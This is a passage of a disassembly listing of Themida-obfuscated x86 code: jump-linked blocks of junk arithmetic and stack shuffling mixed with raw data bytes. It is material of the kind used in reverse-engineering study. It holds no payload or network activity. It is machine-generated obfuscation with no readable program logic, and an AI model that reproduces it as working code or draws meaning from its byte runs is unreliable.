; ---------------------------------------------------------------------------


loc_555219:				; CODE XREF: Themida_:0055B35Ej
		add	eax, 0C104BE3Fh
		jmp	loc_55A533
; ---------------------------------------------------------------------------
		db 68h
		dd 3EE9h, 87241C89h, 3CE9240Ch,	81000032h, 6C9370F1h, 59CF290Bh
		dd 0A6EEF81h, 0EF81081Ch, 7E88325Dh, 39CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55524D:				; CODE XREF: Themida_:00559C8Fj
		push	dword ptr [esp]
		jmp	loc_5596FF
; ---------------------------------------------------------------------------


loc_555255:				; CODE XREF: Themida_:00556421j
		push	edi
		jmp	loc_553A74
; ---------------------------------------------------------------------------
		db 51h
		dd 16BEE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555262:				; CODE XREF: Themida_:0055C053j
		xor	edx, ebx
		xor	ebx, edx
		xor	eax, ebx
		jmp	loc_557EA0
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 51h
		dd 2414F766h, 0D5E95966h, 500004Bh, 4, 8704E883h, 0B2E92404h
		dd 29000038h, 2AEA81CAh, 8151DE1Eh, 6A2980EAh, 2C2811Bh
		dd 0FF3A5F6Eh, 0F2E92434h, 8BFFFFC4h, 89522404h, 0BA5255E2h
		dd 4A133139h, 3B9C281h,	0D589058Eh, 4EDC15Ah, 475CC581h
		dd 19E90B0Ch, 66FFFFD8h, 0E924048Bh, 0FFFFE852h, 9C2424D2h
		dd 0FFB769E9h, 88BC2CFFh, 4E958C2h, 1FFFFF8h, 3C335DEFh
		dd 243C3124h, 0E9243C33h, 0F54h
; ---------------------------------------------------------------------------


loc_5552F8:				; CODE XREF: Themida_:005556D8j
		pop	ecx
		and	esi, 61362581h
		sub	esi, 0B40CB53Bh
		mov	ebp, esi
		pop	esi
		jmp	loc_552BA4
; ---------------------------------------------------------------------------
		db 68h,	69h, 26h
		dd 0D4E90000h, 0B9000071h, 4, 3359CB01h, 1C31241Ch, 241C3324h
		dd 2D5DE95Ch, 0D7310000h, 2F7DE95Ah, 52660000h,	3DD2E950h
		dd 815F0000h, 400591C6h, 81D60168h, 400591EEh, 34335A68h
		dd 24343124h, 6F3DE9h, 0D8015D00h, 8B2434FFh, 0C481241Ch
		dd 4, 0E904C483h, 0FFFFDCF9h, 0E95EF301h, 0FFFFED55h, 0FE5BF900h
		dd 80D9F6C1h, 0E98077C1h, 59CC88FCh, 0EEE9DCF6h, 56000031h
		dd 0C681E689h, 4, 3304EE83h, 9E92434h, 3100002Ch, 0F7E9240Ch
		dd 83000023h, 3C8704C7h, 1CE95C24h, 8100006Eh, 373ED6EDh
		dd 50F52959h, 373ED6B8h, 58C50159h, 0E9E8015Eh,	0FFFFE3FDh
; ---------------------------------------------------------------------------


loc_5553D0:				; CODE XREF: Themida_:00553E65j
		push	bx
		mov	bl, 31h
		mov	cl, bl
		pop	bx
		sub	bl, 4Bh
		jmp	loc_551F3F
; ---------------------------------------------------------------------------


loc_5553E0:				; CODE XREF: Themida_:0055755Cj
		push	1
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		jmp	loc_559F68
; ---------------------------------------------------------------------------
		dw 51ACh
		dd 0C580A7B5h, 0D1D8E9D3h, 8B66FFFFh, 0E9532404h, 7123h
; ---------------------------------------------------------------------------


loc_555410:				; CODE XREF: Themida_:005520C2j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_552CF2
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0CAh
		dd 8331C121h, 0C381FFEBh, 608A7772h, 0DCBF574Bh, 2914016Ch
		dd 0CFE5E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555442:				; CODE XREF: Themida_:00555080j
		mov	edx, esi
		jmp	loc_553280
; ---------------------------------------------------------------------------
aLSa		db '▀$$И═$',0
		dd 5BDF0900h, 793EEF81h, 0EF815DBFh, 0FFFFFFFFh, 8105E7C1h
		dd 4ECh, 1851E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55546E:				; CODE XREF: Themida_:0055B28Ej
		add	eax, 4
		add	eax, 4
		jmp	loc_55399E
; ---------------------------------------------------------------------------


loc_55547B:				; CODE XREF: Themida_:005558D3j
		push	esi
		mov	esi, 5778B88Fh
		mov	ebx, esi
		pop	esi
		sub	ecx, ebx
		pop	ebx
		add	ebx, 2A345E7Ch
		sub	ebx, ecx
		sub	ebx, 2A345E7Ch
		pop	ecx
		add	ebx, 0FFFFFFFFh
		jmp	loc_55C1EB
; ---------------------------------------------------------------------------


loc_55549E:				; CODE XREF: Themida_:00554DD7j
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edx, 5D944B10h
		add	edx, 7699546h
		push	edi
		jmp	loc_558FFB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 2404BB0Fh, 0B57CE99Ch, 3C89FFFFh,	4BF24h
		dd 0FE010000h, 81243C8Bh, 4C4h,	39E1E900h, 57AD0000h, 0CB4930BFh
		dd 8E7C174h, 2356C781h,	0EF837131h, 0EEF781FFh,	68690144h
		dd 16E7h, 50243C89h, 51243C8Bh,	5AE9E189h, 68000022h, 7973h
		dd 0E9243489h, 6D3Dh, 0B9240C89h, 390324C0h, 436EE9h, 0E9DAF700h
		dd 0FFFFBCEFh, 335BDE29h, 34312434h, 24343324h,	243C895Ch
		dd 544168h, 24248900h, 652AE9h,	21C38100h, 43129643h, 5F5DEB81h
		dd 0DF89CD95h, 0E9FA095Bh, 0FFFFCDA2h, 3C8568h,	24348900h
		dd 43CBF57h, 0EC8321E7h, 0D9F6E904h, 3C89FFFFh,	5C0EE924h
		dd 34FF0000h, 24048B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558625
; ---------------------------------------------------------------------------
		dw 61B7h
		dd 2805C280h, 5EA80FAh,	5DE95B66h, 5800002Fh, 1AB2C681h
		dd 0DEF7F448h, 70EEEE81h, 9053A41h, 29302215h, 6FFFE9F0h
		dd 4200000h, 0F5E99C24h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5555E3:				; CODE XREF: Themida_:005523FFj
		pop	edx
		jmp	loc_558B65
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
		dd 158D68h, 242C8900h, 8869D4BDh, 91B95141h, 41136928h
		dd 0F181D9F7h, 143D41BAh, 7135C181h, 0E941366Dh, 1486h
		dd 31D2B951h, 0E95262F6h, 70FEh, 441DCB81h, 0F3812CC6h
		dd 2BBD1817h, 0FFC8ACE9h, 24048BFFh, 379EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555639:				; CODE XREF: Themida_:0055BC9Dj
		mov	ecx, 3497607Fh
		jmp	loc_556B75
; ---------------------------------------------------------------------------
		db 0FFh
		dd 565A2434h, 0C681E689h, 4, 4C681h, 34870000h,	59E95C24h
		dd 33FFFFC0h, 22E9243Ch, 43FFFFDAh, 7411CB81h, 0EB810930h
		dd 1CC46EFAh, 0E95BDD89h, 669h
; ---------------------------------------------------------------------------


loc_55567C:				; CODE XREF: Themida_:00557B73j
		sub	edi, 0BB10D606h
		sub	ebp, edi
		pop	edi
		push	ebp
		push	esi
		mov	esi, 76607069h
		add	[esp+4], esi
		pop	esi
		jmp	loc_5532AE
; ---------------------------------------------------------------------------
		dw 34FFh
aZvsi		db '$ZVИК<',0
		align 10h
		dd 346DB050h, 0E9D0F6C8h, 0FFFFFC31h, 0C4E9C80Fh
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556B3:				; CODE XREF: Themida_:00553724j
		mov	esi, 30CF0720h
		not	esi
		sub	esi, 2D64190h
		or	esi, 64805264h
		push	ecx
		push	edx
		mov	edx, 4A1301C8h
		add	edx, 1B883D64h
		mov	ecx, edx
		pop	edx
		xor	esi, ecx
		jmp	loc_5552F8
; ---------------------------------------------------------------------------
		db 59h,	0D1h, 0E1h
		dd 8141D1F7h, 0A2473AF1h, 0E0C18167h, 0E9ACBF30h, 0FFFFF638h
; ---------------------------------------------------------------------------


loc_5556F4:				; CODE XREF: Themida_:0055898Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558209
; ---------------------------------------------------------------------------
		db 1, 0FAh, 81h
		dd 245731EAh, 0C788530Dh, 8B5B3A88h, 57E92414h,	2DFFFFEFh
		dd 50451B84h, 3B68812Dh, 0E9E8293Dh, 0FFFFD9E8h, 38BBh
		dd 51FB0100h, 8904EC83h, 54E9243Ch, 66000060h, 53240C8Bh
		dd 6C0EE954h, 8B680000h, 583DA818h, 8DE9h, 5DEB8900h, 2931CB81h
		dd 0EC8139FBh, 4, 37D2E9h, 24248B00h, 582434FFh, 0C727E951h
		dd 0EB89FFFFh, 0D1EB815Dh, 50400242h, 9A4C92B8h, 0E049E92Ah
		dd 15AFFFFh, 5032FFFAh,	0DE8E9h, 0E9575C00h, 1ED6h, 4EC81h
		dd 0C890000h, 6CD6E924h, 0DA080000h, 0BFC2805Bh, 0EE9D188h
		dd 89FFFFC2h, 7724E9E5h, 48F0000h, 9E95C24h, 89FFFFFBh
		dd 20E92414h, 5C000028h, 0FFD411E9h, 4C481FFh, 0F7000000h
		dd 6C03E9DDh, 0E8050000h, 2D648947h, 5AB11166h,	958C589h
		dd 4BE95DE9h, 0BF000007h, 138B7427h, 535FF921h,	6EFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_555809:				; CODE XREF: Themida_:00557019j
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	5778h
		mov	[esp], ebp
		mov	ebp, 5FD37141h
		dec	ebp
		jmp	loc_557145
; ---------------------------------------------------------------------------
		db 8Fh
		dd 295C2404h, 0E99C2404h, 0FFFFB216h, 53B5EB81h, 348B2A0Fh
		dd 4C48124h, 0E9000000h, 0FFFFB202h, 4C481h, 48F0000h
		dd 0D3665C24h, 0E99C243Ch, 0FFFFB1EEh
; ---------------------------------------------------------------------------


loc_555858:				; CODE XREF: Themida_:0055863Cj
		xor	edx, 0FFFBFF88h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	dword ptr [esp], 7A5C4BAEh
		add	dword ptr [esp], 32A428EFh
		sub	dword ptr [esp], 62AB7A4Ah
		add	[esp], eax
		push	esi
		mov	esi, 62AB7A4Ah
		sub	dword ptr [esp+4], 1B290341h
		add	[esp+4], esi
		jmp	loc_55143A
; ---------------------------------------------------------------------------
		db 0BAh, 0AEh, 28h
		dd 814A1A72h, 0EE31D0C2h, 51EA816Dh, 8988605Ah,	0BD685AD3h
		dd 89000074h, 24B82404h, 0E93EFE20h, 22B8h, 240C8B66h
		dd 8904EC83h, 0E189240Ch, 0FFDD09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5558D1:				; CODE XREF: Themida_:0055B300j
		inc	ecx
		push	ebx
		jmp	loc_55547B
; ---------------------------------------------------------------------------
		dd 0EA88E588h, 81240C8Bh, 4C4h,	0D7885800h, 59665Ah, 7E95BF8h
		dd 33000057h, 665C2434h, 66C8AF0Fh, 43E99C51h, 53FFFFB1h
		dd 3F2445BBh, 5BDF01B5h, 501FEA81h, 0FA291746h,	501FC281h
		dd 0E95F1746h, 0FFFFE258h, 9D1C77FFh, 11665866h, 0E99C2404h
		dd 0FFFFB116h, 4E08C781h, 26E9AAA0h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55593B:				; CODE XREF: Themida_:005570F4j
		pop	esi
		add	esi, 4
		jmp	loc_55197B
; ---------------------------------------------------------------------------


loc_555947:				; CODE XREF: Themida_:005565A0j
		or	edi, 2D242C60h
		jmp	loc_557C1E
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 321C4CEh, 6859C829h,	268Ah, 0BD242C89h, 10E0733h, 0FFF022E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55596D:				; CODE XREF: Themida_:0055BEA7j
		mov	dl, [esp]
		add	esp, 2
		push	ebx
		mov	bl, 0B4h
		dec	bl
		xor	bl, 0C8h
		add	dl, bl
		pop	ebx
		jmp	loc_553F71
; ---------------------------------------------------------------------------
aS_		db '[(сИт.',0
		db 0
; ---------------------------------------------------------------------------


loc_55598B:				; CODE XREF: Themida_:0055BB31j
		sub	eax, ebp
		jmp	loc_552667
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0F54DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55599A:				; CODE XREF: Themida_:00553DE0j
		mov	ecx, [esp]
		jmp	loc_5599CC
; ---------------------------------------------------------------------------


loc_5559A2:				; CODE XREF: Themida_:00558119j
		sub	esp, 4
		jmp	loc_55AD53
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24048924h, 2E59BE56h, 59B80786h, 3107862Eh, 24348BF0h
		dd 71A4E9h, 32FF6600h, 0FFB079E9h, 0CEC781FFh, 81525E64h
		dd 4ECh, 241C8900h, 0FFCCC9E9h,	54A668FFh, 0C890000h, 0E8B6E924h
		dd 815FFFFFh, 0A67942E9h, 5E14E97Fh, 3C890000h,	505F5424h
		dd 5C609CB8h, 35E8D12Fh, 1373B67h, 4675B025h, 41B95111h
		dd 0E909435Ah, 2AE4h, 2B4B08BEh, 81DEF72Dh, 0CF6F06CEh
		dd 0F347E91Ah, 3C87FFFFh, 0B0B0E924h, 3433FFFFh, 24248B24h
		dd 9C240400h, 2DC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_555A45:				; CODE XREF: Themida_:00558B38j
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		dd 4BFh, 8BFA0100h, 0C483243Ch,	4EC8304h, 52243489h, 7975F1BAh
		dd 8A11BE51h, 4E9AE86h,	5F000048h, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 305AE9h, 89665C00h, 0BE682414h, 0E900005Fh
		dd 0FFFFB1B8h, 240C8B66h, 67CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_555AA1:				; CODE XREF: Themida_:005515ADj
		add	eax, esi
		pop	esi
		pop	ecx
		push	eax
		pop	edx
		pop	eax
		add	edx, edi
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		add	[ecx], ebp
		pop	ecx
		pop	edx
		jmp	loc_5547BD
; ---------------------------------------------------------------------------


loc_555ABB:				; CODE XREF: Themida_:0055CE41j
		pop	ecx
		jmp	loc_554E85
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 81580000h, 304B73EDh, 5CC58100h, 0E9233246h,	0FFFFC5B1h
		dd 241C875Ch, 0E924248Bh, 218Ah
; ---------------------------------------------------------------------------


loc_555AE4:				; CODE XREF: Themida_:00558232j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_557C86
; ---------------------------------------------------------------------------


loc_555AF5:				; CODE XREF: Themida_:0055C795j
		mov	esi, [esp]
		jmp	loc_5534C8
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 4
aSs		db '$°ИХ;',0
		dw 0B900h
		dd 11B77539h, 0F181D9F7h, 0D50FF898h, 5F59C829h, 0A60C781h
		dd 0C7013884h, 0A60EF81h, 0E9583884h, 18E1h, 0C079B151h
		dd 88E907E1h, 8100000Eh, 4C6h, 50525100h, 0CC42FF68h, 3E2DE96Bh
		dd 885B0000h, 8B01876Ch, 0C481240Ch, 4,	0FFAEE9E9h, 0F2685FFFh
		dd 89000045h, 2B82404h,	1000000h, 0E95558C5h, 0FFFFCC1Bh
		dd 0DDFDE95Bh, 0C89FFFFh, 57B45024h, 0BFEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555B85:				; CODE XREF: Themida_:00554CCBj
		push	ebx
		mov	ebx, 6BD23036h
		or	ebx, 65FC586Ch
		jmp	loc_559A17
; ---------------------------------------------------------------------------
		dw 8359h
		dd 48904ECh, 4B824h, 0E9810000h, 216A36C9h, 3BAC181h, 0C1016FC6h
		dd 3BAE981h, 0C1816FC6h, 216A36C9h, 4EC8358h, 0BB241C89h
		dd 2, 27B5E981h, 0A0E944AAh, 81000036h,	4C5h, 242C8700h
		dd 0E924248Bh, 31C4h, 0EDBCEF81h, 0FB01CFE2h, 2C3815Fh
		dd 87000000h, 0E95C241Ch, 0FFFFE5BDh, 2461C181h, 81491DD5h
		dd 0EB9EB8C1h, 8BCE010Ch, 0A8E9240Ch, 5200001Ch, 3E7C6850h
		dd 0C890000h, 2EAF6824h, 81595BC0h, 4ECh, 241C8900h, 121972BBh
		dd 5BD9295Fh, 8108E9C1h, 4917D1C9h, 540E919h, 0EE010000h
		dd 13E95Dh, 248B0000h, 0FC33024h, 34FFC0B6h, 2434FF87h
		dd 0FFC4A1E9h, 17B805FFh, 0F0291277h, 7717B82Dh, 4F18E912h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C6E:				; CODE XREF: Themida_:0055BCBFj
		push	edx
		jmp	loc_551F95
; ---------------------------------------------------------------------------
		dd 4C681h, 34870000h, 0BB02E924h, 0BD66FFFFh, 316624A3h
		dd 665D66EFh, 1AAEF781h, 0EECF8166h, 0E7C1663Dh, 0EF816605h
		dd 21668C10h, 81665FF9h, 0E97E6FF1h, 0FFFFD62Fh, 982DD801h
		dd 2D771078h, 22DC0DEEh, 5C7EE9h
		db 0
; ---------------------------------------------------------------------------


loc_555CBD:				; CODE XREF: Themida_:00556D68j
		mov	ebx, [esp]
		jmp	loc_551EE5
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 70h
		dd 8136BC64h, 8D3728C5h, 5CED815Fh, 162107Ah, 0BE565DE9h
		dd 4, 1882E9h, 0FFE83100h
		db 34h,	24h, 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_550FD9
; ---------------------------------------------------------------------------


loc_555CF3:				; CODE XREF: Themida_:0055AB30j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_551667
; ---------------------------------------------------------------------------
		db 1, 4Ch, 24h
		dd 240C8B04h, 0E904C483h, 0FFFFAD1Eh, 7D11ED81h, 0C5014D34h
		dd 7D11C581h, 0ED814D34h, 0ABC6925h, 0FFFC51E9h, 0A16858FFh
		dd 89000053h, 0ECBB241Ch, 81EEAFBFh, 196B72C6h,	81DE0133h
		dd 196B72EEh, 14D4E933h, 0BA520000h, 23423CB3h,	0DC9EEA81h
		dd 93E9E209h, 29000007h, 505E2434h, 0FFD7DAE9h,	80CDFEFFh
		dd 0ED80C2EDh, 59E8285Eh, 8324148Bh, 0D82804C4h, 8063B551h
		dd 0F580FFEDh, 0CEA3E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D9E:				; CODE XREF: Themida_:0055A535j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5573DE
; ---------------------------------------------------------------------------


loc_555DAC:				; CODE XREF: Themida_:00556442j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_550D02
; ---------------------------------------------------------------------------


loc_555DBA:				; CODE XREF: Themida_:00557064j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_553082
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 0C483242Ch, 0CDDFE904h, 5751FFFFh, 125F4CBFh, 5F50B919h
		dd 0F9291912h, 81243C8Bh, 4C4h,	0FFCF0100h, 81592434h
		dd 4C4h, 4C78100h, 0E9000000h, 0FFFFF85Fh, 4C781h, 0FF570000h
		dd 5F042474h, 5C24048Fh, 4C481h, 2BE90000h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E1B:				; CODE XREF: Themida_:0055924Cj
		push	76B7h
		mov	[esp], esi
		mov	esi, 26D1C1Ch
		sub	[esp+4], esi
		push	dword ptr [esp]
		jmp	loc_55C5E9
; ---------------------------------------------------------------------------
		dd 0EB885352h, 885BDE88h, 34FF5AF3h, 4B96E924h,	7BBD0000h
		dd 89559C1Ch, 0BDBDE9EFh, 0C481FFFFh, 4, 0FFB5FEE9h, 24148BFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554D97
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89535924h, 4C381E3h,	56000000h, 15DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_555E81:				; CODE XREF: Themida_:00558B78j
		dec	ecx
		jmp	loc_55B8D3
; ---------------------------------------------------------------------------


loc_555E87:				; CODE XREF: Themida_:0055AE69j
		mov	ebx, 2F674F79h
		push	ebx
		push	ebp
		mov	ebp, 62BF348Eh
		jmp	loc_556D5C
; ---------------------------------------------------------------------------
		dd 6804C483h, 23E4h, 68241C89h,	3E75h, 0B2241489h, 35D1E9F3h
		dd 0E9510000h, 0FFFFE241h, 4B951h, 0CD290000h, 6E30E9h
		dd 58C18800h, 493FE9h, 0E0895000h, 4BB53h, 0D8010000h
		dd 30B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_555EDD:				; CODE XREF: Themida_:005573D9j
		sub	al, ch
		pop	ecx
		jmp	loc_559281
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4BB5300h, 1000000h, 3E3AE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555EFA:				; CODE XREF: Themida_:0055C3E4j
		pop	ebp
		push	edi
		push	eax
		mov	eax, ebp
		jmp	loc_554485
; ---------------------------------------------------------------------------
		dd 31E9C309h, 84FFFFBBh, 0ECE99CC8h, 83FFFFB2h,	48904ECh
		dd 5E08924h, 4,	8704C083h, 895C2404h, 0CCE95BDAh
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555F2F:				; CODE XREF: Themida_:005576DCj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_550B90
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 262E5A76h, 0FFB66DE9h, 243489FFh, 5C199568h,	0EE95E56h
		dd 5AFFFFE9h, 4B850h, 0EB810000h, 4132071h, 0C381C301h
		dd 4132071h, 1653E9h, 6FD16800h, 34890000h, 149C6824h
		dd 24890000h, 4BE5624h,	0E9000000h, 0FFFFD733h,	4F281h
		dd 0D301DEE0h, 74E9515Ah, 83FFFFF3h, 43302C0h, 24043124h
		dd 0E9240433h, 65A2h, 5C241487h, 0FFCE41E9h, 0C335EFFh
		dd 0D6D3E924h, 0C481FFFFh, 4, 6181BF57h, 0EF817EC4h, 0FFFFFFFFh
		dd 41F3F781h, 0EFC1476Bh, 0C4C78107h, 1FF8CA1h,	243C8BFBh
		dd 5604C483h, 4BEh, 5EF30100h, 627AE9h
		db 0
; ---------------------------------------------------------------------------


loc_555FFD:				; CODE XREF: Themida_:00557083j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		jmp	loc_55A506
; ---------------------------------------------------------------------------


loc_55601C:				; CODE XREF: Themida_:0055AD73j
		pop	ebp
		sub	ebp, 4CE60C68h
		add	ebp, 47D178B6h
		add	ebp, ebx
		sub	ebp, 47D178B6h
		jmp	loc_553DC5
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4EC81h, 4890000h, 4B824h, 0C2010000h, 6CCE9h, 2889B500h
		dd 0E95966E8h, 0FFFFBF1Eh, 0F1685553h, 5D292E31h, 14AAE9h
		dd 2B900h, 0CA010000h, 24148759h, 0AB0F665Ch, 0E99C2404h
		dd 0FFFFA9CAh, 89242C89h, 65C9E9E5h, 0F7800000h, 5BFD3023h
		dd 80C5CD80h, 0C1E918C5h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556097:				; CODE XREF: Themida_:0055691Bj
		sub	edi, 62995DB6h
		sub	edi, 53502266h
		sub	edi, eax
		add	edi, 53502266h
		add	edi, 62995DB6h
		pop	eax
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 254B1651h
		sub	edi, 66BB0CC6h
		neg	edi
		inc	edi
		sub	edi, 9DC97F4Ah
		sub	ebp, edi
		pop	edi
		sub	[edi+24h], ebp
		pop	ebp


loc_5560D1:				; CODE XREF: Themida_:00550ACAj
		push	5A53h
		jmp	loc_55AB2D
; ---------------------------------------------------------------------------
		db 0B3h
		dd 2F3809Bh, 81C0EB80h,	4ECh, 0AB07E900h, 6856FFFFh, 35F50D83h
		dd 0D6F74E5Eh, 0FFC661E9h, 4EC83FFh, 89241C89h,	4C381E3h
		dd 81000000h, 4EBh, 2C10E900h, 0C4830000h, 24048F04h, 48B665Ch
		dd 6CF26824h, 2C890000h, 81E58924h, 4C5h, 0E6895600h, 4C681h
		dd 0EE810000h, 4, 5C243487h, 68241489h,	2, 61D0E9h, 52E38900h
		dd 50EEBB53h, 0E94B5AACh, 49D5h, 0A8E0E95Dh, 0F268FFFFh
		dd 89000010h, 0E9532414h, 0FFFFB514h
; ---------------------------------------------------------------------------


loc_556174:				; CODE XREF: Themida_:00558415j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_559240
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0F6D88057h, 8959C889h, 0BF5758C2h, 5D70168Ch, 7E7C14Fh
		dd 68h,	243C2900h, 47F7815Fh, 567CE06Eh, 0C3054EBEh, 814E4E79h
		dd 6B7E1CC6h, 0E9F731C7h, 6445h, 14B2C281h, 0FA297B6Bh
		dd 14B2EA81h, 34FF7B6Bh, 0F8A1E924h, 0D8F7FFFFh, 0D435D8F7h
		dd 89C0C148h, 4022E9C1h, 0EC830000h, 24348904h,	2434FF54h
		dd 4C4835Eh, 4BD55h, 0EE010000h, 83242C8Bh, 0EC8304C4h
		dd 240C8904h, 2B9h, 8BCE0100h, 0C481240Ch, 4, 8B243487h
		dd 4282424h, 23E99C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556223:				; CODE XREF: Themida_:00559FB3j
		xor	ebx, edx
		xchg	esi, edx
		jmp	loc_559A56
; ---------------------------------------------------------------------------


loc_55622C:				; CODE XREF: Themida_:005596E2j
		pop	esi
		push	ebp
		mov	ebp, 9AD49CFh
		jmp	loc_559AE7
; ---------------------------------------------------------------------------


loc_556238:				; CODE XREF: Themida_:0055A931j
		not	ebp
		and	ebp, 342A58C1h
		push	edx
		jmp	loc_550F7E
; ---------------------------------------------------------------------------


loc_556246:				; CODE XREF: Themida_:00552F4Cj
		push	ecx
		jmp	loc_559BB2
; ---------------------------------------------------------------------------
		dd 0FE24248Bh, 0E99C2404h, 0FFFFA7EEh, 2D5F68h,	242C8900h
		dd 1784E9h
		db 0
; ---------------------------------------------------------------------------


loc_556265:				; CODE XREF: Themida_:0055891Aj
		pop	eax
		add	edx, eax
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_55ACBB
; ---------------------------------------------------------------------------
		db 81h
		dd 888659F3h, 319DE9E3h, 0FF640000h, 0A7B4E932h, 575AFFFFh
		dd 0FFDE99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556299:				; CODE XREF: Themida_:0055906Dj
		xor	[esp], ebp
		jmp	loc_55774F
; ---------------------------------------------------------------------------
		db 35h,	0ECh, 18h
		dd 0DE97A0Dh, 0FFFFFFD3h, 48B2434h, 4C48124h, 68000000h
		dd 283Dh, 89241489h, 0E08950E2h, 405h, 4E88300h, 5C240487h
		dd 55241C89h, 0B03E8EBDh, 0F47BE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5562DE:				; CODE XREF: Themida_:0055329Fj
		shr	esi, 5
		xor	esi, 0F79047AFh
		sub	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_55634F
; ---------------------------------------------------------------------------
		db 81h
		dd 7A2D33C7h, 875D5B54h, 248B243Ch, 4896624h, 0A738E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55630E:				; CODE XREF: Themida_:00552025j
		push	ecx
		push	ebp
		jmp	loc_550F6C
; ---------------------------------------------------------------------------
		db 0ADh, 83h, 0ECh
		dd 242C8904h, 0CC7DF4BDh, 7E5C170h, 0FFFFC581h,	0ED81FFFFh
		dd 1D3601FDh, 0B98EBE56h, 0C581DCEEh, 4F0902CEh, 0ED81F529h
		dd 4F0902CEh, 5068055Eh, 30E92B71h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55634F:				; CODE XREF: Themida_:005562F2j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_55ACC7
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, esp
		jmp	loc_558A39
; ---------------------------------------------------------------------------
		db 89h
		dd 7DE95EF5h, 56FFFFBBh, 0C681E689h, 4,	8704EE83h, 895C2434h
		dd 4BA2414h, 1000000h, 0D710E9D1h, 7C68FFFFh, 8900005Ah
		dd 0FF59241Ch, 95E92434h, 5A000039h, 5B2434FFh,	0E904C483h
		dd 52F9h, 4BFh,	8BF80100h, 0C483243Ch, 74FF5004h, 8F580424h
